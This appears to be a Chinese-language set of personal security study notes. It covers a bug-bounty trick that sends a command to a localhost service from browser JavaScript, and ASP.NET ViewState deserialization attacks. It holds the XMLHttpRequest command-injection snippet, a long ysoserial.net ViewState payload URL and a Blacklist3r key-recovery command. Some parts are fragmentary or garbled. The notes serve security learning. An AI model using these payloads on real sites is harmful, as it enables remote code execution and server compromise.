随手记
一、如何在Epic Games上赚到$7,000赏金
WebSocket API构建在HTTP协议之上,当且仅当服务以有效的WebSocket升级响应时,浏览器将首先向服务器发送一个HTTP请求,然后将该连接升级为WebSocket连接,在我们的案例中,这项服务根本不会应答。这也是浏览器(在5秒的超时间隔后)在控制台中发出错误消息的原因,WebSockets中的这种握手机制恰恰可以防止此类攻击。
JavaScript 还可以从浏览器发送 HTTP 请求,那么我们可以向 localhost:8080
发送一个 HTTP 请求吗?
var xhr = new XMLHttpRequest();
xhr.open("POST", "<http://localhost:8080>", true);
xhr.send("execwhoami<EOF>\\r\\n\\r\\n");
// now read response
xhr.onreadystatechange = () => {
if (xhr.readyState === 4) {
console.log(xhr.response);
}
};
ViewState不等于Cookie
ViewState的构成
具体的序列化流程由 [System.Web]System.Web.UI.ObjectStateFormatter 进行处理。其返回结 果以FF01作为magic,后续数据是近似于Type-Value的格式。由于控件本身可能需要保存较为复 杂的类型, ObjectStateFormatter 通过二进制序列化方式对这种情况进行支持,其 TypeCode 为 0x32 ,Value为带有 7bit-encoded 长度前缀的二进制序列化数据。
通过目录扫描,发现web.config泄露
使用net版的yso进行攻击
post/get方法都可进行传参数
<http://http>://localhost:50252/Login.aspx?__VIEWSTATE=xEK%2FeCRIo7%2FftsczFLNJf0Q39eux7CDFpkmOu6t8FsJkJBRCy9VsTQI2J83k84OiuyzGlbSlDqz13pUHIIoRSZCZ25jtld0KTsFA3tLLqa8KDZvuUvoJ%2BAYw3H%2BN1qPaxIeniZPMe7OTpgld2VeKSRONhk3oW8biwzr11ouUDYSd00JROgSaGCc%2FNBN1IrTnxlRTxcgfgnRzXFg%2BqogFC2hosIKuQ4Ij8NV%2FluRjb3Chov0munE19y423i%2B6drBSIIh8P5KYQ6Mlw8FPTZx3h%2BiAhBOHlFhOsAjLnGWguVpMdVX3%2Fkb1HlzKi%2BS2H8pGRflGibTXsFoBo8ZQoTulGMYo11rZNcs27KRu5%2FMHmKOmO%2BtujQZlmCSMURwZKHU0MCR0qQhOKpuOPF53hyXBejk3RULpqbcXdGCfIAnqjmE0fCOIuijE7B80lWvrM3XU71CSDlJOJ4W6KsOmq5A9f3q8Jm3A64elYhYiwqjDlydmx%2BaDFsMYNLejJd92gDgZ8qyv%2FpztenO6xVGwi1FNMhJY4ddgGVgFMYlrHuBGcZpmr1WekJHZXZpf7lMjf5GCMRVaIlDLLxwobNii0U0TNPRdzndAnn%2FKC%2FSYi3nZsgs6M2LxegfmWnYK%2FGGt7E%2B8BeF4PlYRPXsUequxrAB5Gin5JpcnuWLHXhH3h3LUOmH0M0oweyWrSz90BNxnrapsjPRlwayxiupfKzswDwBrU4sWtULBCTovEp2XZZSuYLQoz3SCIp2U5bJrxqukgNXurcL%2BPpe9z5Eux6UCgl4CirBgCz882wFmPsj%2FAmKjbEyU3iUJffb9yw9X1jIXntbkMhYWp9F1688xxub4WiK%2BgxSdt0voyDJ94lA4a2BosHc%2BgHETJ9AE%2BS9rit4X554gScrUEeaWlCzddEDmliiFIaO0mCUor5o8zbvCGl6NiVefTKRjGsioJZkFetRXKEAJcfSdRhcQBESjfxR2gxn6IojpLbi0vErkyudHf%2FzFq3t%2FErqksrzQw%2FLj2vbfPJ0Gtln%2F0Rz4NTH8Dk0RzSWcigiT5xhLHuvdmEKvKfPHcrwEOS5SjLiHBwoZc0hsV%2F3WmJlGhD6%2BXb5%2F28tPTOqwWtl2guFgse9mqfUoJXCVC4TlmkokU9srE2UF%2B1XvvFxBMKFu328grNzRmR0%2FYxG6esN9Lqlq14tPTUErMGjHjdNiPO%2BHFxtnzG%2FGWHwoJZike8lzu1OH6idydaRjrDxH3EoidjB7jIhHmDGnRIudC24Wg9ZcNAUPbQJyZb7nJ14G1VrkJ42OkkITSAAv0UW2LQ%3D%3D
使用Blacklist3r(AspDotNetWrapper.exe来查找使用的密钥
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTQwNjA1MDA3OGRkq51hxSZG6Yis6UUsTYd9Sj2YYS8= --decrypt --purpose=viewstate --modifier=CA0B0334 --macdecode --TargetPagePath "./Default.aspx" -f out.txt --IISDirPath="/"